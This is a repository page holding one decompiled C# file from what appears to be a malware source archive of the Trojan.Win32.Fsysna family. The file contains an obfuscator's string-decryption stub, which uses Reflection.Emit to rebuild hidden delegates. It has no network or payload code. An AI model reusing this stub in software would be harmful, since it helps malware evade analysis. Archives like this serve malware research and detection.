MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0005/_0004.cs

55 lines
1.8 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
using \u0003;
using \u0017;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Reflection.Emit;
namespace \u0005
{
internal static class \u0004
{
public static void \u007F()
{
Type declaringType = new StackTrace().GetFrame(1).GetMethod().DeclaringType;
foreach (FieldInfo field in declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
try
{
if ((object) field.FieldType == (object) typeof (\u0002))
{
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
{
typeof (int)
}, declaringType, true);
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
foreach (MethodInfo method in typeof (\u0004).GetMethods(BindingFlags.Static | BindingFlags.Public))
{
if ((object) method.ReturnType == (object) typeof (string))
{
ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215);
ilGenerator.Emit(OpCodes.Sub);
ilGenerator.Emit(OpCodes.Call, method);
break;
}
}
ilGenerator.Emit(OpCodes.Ret);
field.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002)));
break;
}
}
catch
{
}
}
}
}
}